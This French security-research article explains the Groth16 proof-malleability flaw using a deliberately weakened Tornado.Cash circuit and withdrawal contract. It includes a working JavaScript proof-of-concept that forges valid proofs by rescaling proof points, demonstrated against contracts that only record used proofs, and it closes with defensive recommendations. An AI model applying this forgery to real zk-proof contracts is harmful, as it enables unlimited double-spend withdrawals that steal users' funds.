Auteur de cet article : Saya & Bryce, experts en recherche en sécurité chez Beosin

Dans l'article précédent, nous avons expliqué la vulnérabilité d'évolutivité du système de preuve Groth16 lui-même d'un point de vue principe. Dans cet article, nous prendrons le projet Tornado.Cash comme exemple, modifierons certains de ses circuits et codes et présenterons l'attaque d'évolutivité. processus et j'espère que d'autres parties au projet zkp prêteront également attention aux mesures préventives correspondantes dans le projet.

Parmi eux, Tornado.Cash est développé à l'aide de la bibliothèque snarkjs, qui est également basée sur le processus de développement suivant. Elle sera présentée directement plus tard. Si vous n'êtes pas familier avec cette bibliothèque, veuillez lire le premier article de cette série. (Beosin | Analyse approfondie de la vulnérabilité zk-SNARK à preuve de connaissance nulle : pourquoi le système de preuve à connaissance nulle n'est-il pas infaillible ?)

(Source de l'image : https://docs.circom.io/) 1 Architecture de Tornado.Cash

Le flux d'interaction de Tornado.Cash comprend principalement 4 entités :

Utilisateur : Utiliser cette DApp pour des transactions de mélange de pièces privées, y compris des dépôts et des retraits. Page web : La page frontale de la DApp, qui contient certains boutons pour les utilisateurs. Relayer : Pour empêcher les nœuds de la chaîne d'enregistrer des adresses IP et d'autres informations sur les transactions de confidentialité, ce serveur relayera les transactions pour l'utilisateur, renforçant ainsi la confidentialité. Contrat : Comprend un contrat proxy Tornado.Cash qui choisit un Pool Tornado spécifique en fonction du montant de dépôt ou de retrait pour effectuer les opérations de dépôt et de retrait. Actuellement, il existe 4 Pools avec des montants respectifs : 0.1, 1, 10, 100.

L'utilisateur effectue d'abord les opérations correspondantes sur la page frontale de Tornado.Cash, déclenchant une transaction de dépôt ou de retrait. Ensuite, le Relayer transmet sa demande de transaction au contrat Proxy Tornado.Cash sur la chaîne, et selon le montant de la transaction, la transmet au Pool correspondant, avant d'effectuer des opérations de dépôt et de retrait. La structure spécifique est comme suit :

Tornado.Cash, en tant que mélangeur, a des fonctions commerciales spécifiques divisées en deux parties :

Dépôt : lorsque l'utilisateur effectue une transaction de dépôt, il choisit d'abord le jeton à déposer (BNB, ETH, etc.) et le montant correspondant sur la page web frontale. Pour mieux assurer la confidentialité de l'utilisateur, il ne peut déposer que quatre montants différents ;

Le serveur générera ensuite deux nombres aléatoires de 31 octets, nullifier et secret, les concaténera puis effectuera une opération de hachage de Pedersen pour obtenir l'engagement, et renverra à l'utilisateur le note qui est nullifier + secret avec un préfixe, comme indiqué dans l'image suivante :

Ensuite, une transaction de dépôt est initiée pour envoyer les données d'engagement et autres vers le contrat Proxy Tornado.Cash sur la chaîne. Le contrat proxy transmet ensuite les données au Pool correspondant en fonction du montant du dépôt, et enfin, le contrat Pool insère l'engagement comme nœud feuille dans l'arbre Merkle et stocke la racine calculée dans le contrat Pool. Retrait : lorsque l'utilisateur effectue une transaction de retrait, il saisit d'abord les données note retournées lors du dépôt et l'adresse de réception ; Source de l'image : <https://ipfs.io/ipns/tornadocash.eth/> Ensuite, le serveur recherchera hors chaîne tous les événements de dépôt de Tornadocash, extraira les engagements pour construire l'arbre Merkle hors chaîne, et générera l'engagement à partir des données note fournies par l'utilisateur (nullifier + secret), ainsi que le chemin Merkle correspondant et la racine, et obtiendra une preuve zkSNARK en tant qu'entrée du circuit. Enfin, une transaction de retrait est initiée vers le contrat Proxy Tornado.Cash sur la chaîne, et les paramètres sont utilisés pour sauter vers le contrat Pool correspondant pour vérifier la preuve avant d'envoyer les fonds à l'adresse spécifiée par l'utilisateur.

En réalité, le cœur du retrait de Tornado.Cash consiste à prouver qu'un engagement existe dans l'arbre Merkle sans exposer le nullifier et le secret détenus par l'utilisateur. La structure de l'arbre Merkle est comme suit :

2 Version modifiée de Tornado.Cash 2.1 Modifications de Tornado.Cash

Concernant le premier article sur le principe des attaques d'extension Groth16, nous savons que les attaquants peuvent générer plusieurs preuves différentes en utilisant le même nullifier et secret. Si les développeurs n'ont pas pris en compte les attaques de double dépense causées par la relecture des preuves, cela mettra en danger les fonds du projet. Avant de modifier Tornado.Cash, cet article présente d'abord le code du Pool qui traite finalement les retraits de Tornado.Cash :

/** @dev Retirer un dépôt du contrat. `proof` est une donnée de preuve zkSNARK, et l'input est un tableau d'entrées publiques du circuit. Le tableau `input` se compose de : - racine merkle de tous les dépôts dans le contrat - hachage du nullifier de dépôt unique pour empêcher les doubles dépenses - le destinataire des fonds - frais optionnels qui vont à l'expéditeur de la transaction (généralement un relais) */ function withdraw( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, "Les frais dépassent la valeur de transfert"); require(!nullifierHashes[_nullifierHash], "Le reçu a déjà été dépensé"); require(isKnownRoot(_root), "Impossible de trouver votre racine merkle"); // Assurez-vous d'utiliser le plus récent require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), "Preuve de retrait invalide" );

nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }

Dans l'image ci-dessus, pour empêcher les attaquants d'utiliser la même preuve pour une attaque par double dépense, sans exposer le nullifier et le secret, Tornado.Cash a ajouté un signal public nullifierHash dans le circuit, qui est dérivé du nullifier par le hachage de Pedersen et peut être utilisé comme paramètre sur la chaîne. Le contrat Pool utilise ensuite cette variable pour identifier si une preuve correcte a déjà été utilisée. Cependant, si le projet ne choisit pas de modifier le circuit, mais plutôt d'enregistrer les preuves pour prévenir les doubles dépenses, cela pourrait réduire les contraintes du circuit et ainsi économiser des coûts, mais cela atteindra-t-il l'objectif ?

Pour cette hypothèse, cet article supprimera le signal public nullifierHash nouvellement ajouté dans le circuit et modifiera la vérification du contrat pour une vérification par preuve. Comme Tornado.Cash obtient tous les événements de dépôt à chaque retrait pour construire un arbre Merkle et vérifier si la valeur racine générée se trouve parmi les 30 dernières, l'ensemble du processus est trop compliqué. Par conséquent, cet article supprimera également le circuit de l'arbre Merkle et ne conservera que le circuit central de la partie retrait, comme suit :

inclure "../../../../node_modules/circomlib/circuits/bitify.circom"; inclure "../../../../node_modules/circomlib/circuits/pedersen.circom";

// calcule Pedersen(nullifier + secret)template CommitmentHasher() { signal input nullifier; signal input secret; signal output commitment; // signal output nullifierHash; // supprimer

composant commitmentHasher = Pedersen(496); // composant nullifierHasher = Pedersen(248); composant nullifierBits = Num2Bits(248); composant secretBits = Num2Bits(248);

nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // supprimer commitmentHasher.in[i] <== nullifierBits.out[i]; commitmentHasher.in[i + 248] <== secretBits.out[i]; }

commitment <== commitmentHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; // supprimer}

// Vérifie que l'engagement correspondant au secret et au nullifier donnés est inclus dans l'arbre Merkle des dépôts signal de sortie d'engagement; signal d'entrée destinataire; // ne participant pas aux calculs signal d'entrée relayer; // ne participant pas aux calculs signal d'entrée frais; // ne participant pas aux calculs signal d'entrée remboursement; // ne participant pas aux calculs signal d'entrée nullifier; signal d'entrée secret; composant hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commitment <== hasher.commitment;

// Ajoutez des signaux cachés pour s'assurer que la manipulation du destinataire ou des frais invalidera la preuve snark // Très probablement, cela n'est pas nécessaire, mais il vaut mieux rester prudent et cela ne prend que 2 contraintes // Les carrés sont utilisés pour empêcher l'optimiseur de supprimer ces contraintes signal recipientSquare; signal feeSquare; signal relayerSquare; signal refundSquare;

recipientSquare <== recipient * recipient; feeSquare <== fee * fee; relayerSquare <== relayer * relayer; refundSquare <== refund * refund;

}

composant main = Withdraw(20);

Remarque : Au cours des expériences, nous avons découvert que le code le plus récent de TornadoCash sur GitHub (https://github.com/tornadocash/tornado-core) manque de signaux de sortie dans le circuit de retrait et doit être corrigé manuellement pour fonctionner correctement.

En suivant le circuit modifié ci-dessus, en utilisant la bibliothèque snarkjs et en suivant les étapes de développement fournies au début de cet article, nous générons la preuve normale suivante, notée proof1 :

La preuve : { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182183878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocol: 'groth16', curve: 'bn128'}

2.2 Vérification expérimentale

2.2.1 Preuve de vérification — Contrat par défaut généré par circom

Tout d'abord, nous avons utilisé le contrat par défaut généré par circom pour la vérification. Ce contrat ne conserve aucune information sur les preuves déjà utilisées, permettant à l'attaquant de reproduire plusieurs fois proof1, entraînant ainsi une attaque de double dépense. Dans les expériences suivantes, il est possible de reproduire proof à l'infini pour le même circuit et le même input, et cela passe toujours la vérification.

L'image ci-dessous est une capture d'écran des résultats de la vérification de la preuve avec proof1 dans le contrat par défaut, incluant les paramètres de preuve A, B, C utilisés dans l'article précédent, ainsi que le résultat final :

L'image ci-dessous montre les résultats de la vérification des preuves en appelant plusieurs fois la fonction verifyProof avec la même proof1. L'expérience a révélé qu'avec le même input, peu importe combien de fois l'attaquant utilise proof1 pour la vérification, cela passe :

Bien sûr, lors des tests dans la bibliothèque js native de snarkjs, nous n'avons pas non plus protégé les preuves déjà utilisées, les résultats de l'expérience sont les suivants :

2.2.2 Preuve de vérification — Contrat standard de prévention de la relecture

Pour la vulnérabilité de relecture dans le contrat par défaut généré par circom, cet article enregistre une valeur d'une preuve correcte (proof1) déjà utilisée pour prévenir les attaques de relecture en utilisant une preuve vérifiée, comme indiqué dans l'image suivante :

Continuant à utiliser proof1 pour la vérification, l'expérience a révélé qu'en utilisant la même preuve pour une deuxième vérification, la transaction a échoué avec l'erreur : "Le reçu a déjà été dépensé", les résultats sont présentés dans l'image ci-dessous :

Cependant, bien que cela ait atteint l'objectif d'empêcher les attaques de relecture de preuve ordinaires, comme mentionné précédemment, l'algorithme groth16 présente des vulnérabilités d'extension, et ces mesures de prévention peuvent encore être contournées. Ainsi, dans l'image ci-dessous, nous construisons un PoC et générons une preuve zk-SNARK falsifiée pour le même input conformément à l'algorithme décrit dans le premier article, et l'expérience a révélé qu'elle peut toujours passer la vérification. Le code PoC pour générer la preuve falsifiée proof2 est le suivant :

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import { utils } from "ffjavascript";const {unstringifyBigInts} = utils;

groth16_exp();async function groth16_exp(){ let inputA = "7"; let inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');

// 2. Lire la chaîne puis la convertir en int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("La preuve :",proof);

// Générer l'inverse, l'inverse généré doit être dans le domaine F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv(X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("La timesScalar est :",F.mul(X,invX))

// Lire les points de courbe elliptique G1 et G2 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("La courbe est :",vKey); const curve = await curves.getCurveFromName(vKey.curve);

const G1 = curve.G1; const G2 = curve.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c);

const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B

proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))

// Convertir les points G1 et G2 générés en preuve console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof.new_pi_b:",proof.new_pi_b)

}

Preuve falsifiée proof2 générée, comme indiqué dans l'image suivante :

proof.pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n]proof.new_pi_a: [ 3268624544870461100664351611568866361125322693726990010349657497609444389527n, 21156099942559593159790898693162006358905276643480284336017680361717954148668n, 1n]proof.new_pi_b: [ [ 2017004938108461976377332931028520048391650017861855986117340314722708331101n, 6901316944871385425597366288561266915582095050959790709831410010627836387777n], [ 17019460532187637789507174563951687489832996457696195974253666014392120448346n, 7320211194249460400170431279189485965933578983661252776040008442689480757963n], [ 1n, 0n ]]

En appelant à nouveau cette fonction pour vérifier la preuve, l'expérience a révélé que dans le cas du même input, la vérification avec proof2 a de nouveau réussi, comme indiqué ci-dessous :

Bien que la preuve falsifiée proof2 ne puisse également être utilisée qu'une seule fois, il existe presque un nombre infini de preuves falsifiées pour le même input, ce qui peut entraîner des retraits illimités des fonds du contrat.

Cet article utilise également le code js de la bibliothèque circom pour tester, et les résultats montrent que proof1 et la preuve falsifiée proof2 passent tous deux la vérification :

2.2.3 Preuve de vérification — Contrat de relecture de Tornado.Cash

Après tant d'échecs, n'y a-t-il pas un moyen d'en finir une bonne fois pour toutes ? Ici, selon la méthode utilisée dans Tornado.Cash pour vérifier si l'input original a déjà été utilisé, cet article modifie le code du contrat comme suit :

Il convient de préciser que, pour démontrer les mesures simples de prévention des attaques d'extension de l'algorithme groth16, **cet article adopte la méthode directe d'enregistrement des données d'entrée brutes du circuit, mais cela ne respecte pas le principe de confidentialité des preuves à connaissance nulle, car les entrées du circuit doivent rester confidentielles.** Par exemple, dans Tornado.Cash, les entrées sont toutes privées, nécessitant l'ajout d'une nouvelle entrée publique pour identifier une preuve. Cet article, n'ayant pas ajouté d'identifiants dans le circuit, a une confidentialité relativement moins bonne par rapport à Tornado.Cash, et sert uniquement à présenter les résultats de l'expérience sous forme de démonstration :

On peut constater que dans l'image ci-dessus, l'utilisation de la même preuve d'input ne peut passer la vérification qu'une seule fois avec proof1, après quoi proof1 et la preuve falsifiée proof2 ne peuvent passer la vérification.

3 Résumé et recommandations

Cet article a principalement démontré la véracité et le danger de la vulnérabilité de relecture en modifiant le circuit de TornadoCash et en utilisant le contrat par défaut généré par Circom, et a également vérifié que des mesures ordinaires au niveau du contrat peuvent protéger contre les vulnérabilités de relecture, mais ne peuvent pas empêcher les attaques d'extension de groth16. À cet égard, nous recommandons aux projets de preuves à connaissance nulle de prêter attention :

Contrairement à la manière traditionnelle d'utiliser des données uniques comme des adresses pour générer des données de nœud, les projets zkp utilisent généralement une méthode de combinaison de nombres aléatoires pour générer des nœuds de l'arbre Merkle. Il est important de noter si la logique métier permet l'insertion de nœuds de valeur identique. Car des données de nœud feuille identiques peuvent entraîner le blocage des fonds de certains utilisateurs dans le contrat, ou la situation où les mêmes données de nœud feuille existent avec plusieurs preuves Merkle pouvant confondre la logique métier.

Les projets zkp utilisent généralement un mapping pour enregistrer les preuves déjà utilisées afin de prévenir les attaques de double dépense. Il est important de noter que lors du développement avec Groth16, en raison des attaques d'extension, l'enregistrement doit utiliser les données brutes des nœuds et non seulement les données relatives aux preuves.

Les circuits complexes peuvent présenter des problèmes d'incertitude, de sous-contrainte, etc. En cas de vérification du contrat, les conditions peuvent être incomplètes, ce qui entraîne des failles logiques. Nous recommandons fortement aux projets de solliciter une entreprise d'audit de sécurité qui a des connaissances sur les circuits et les contrats lors du lancement du projet, afin de garantir la sécurité du projet autant que possible.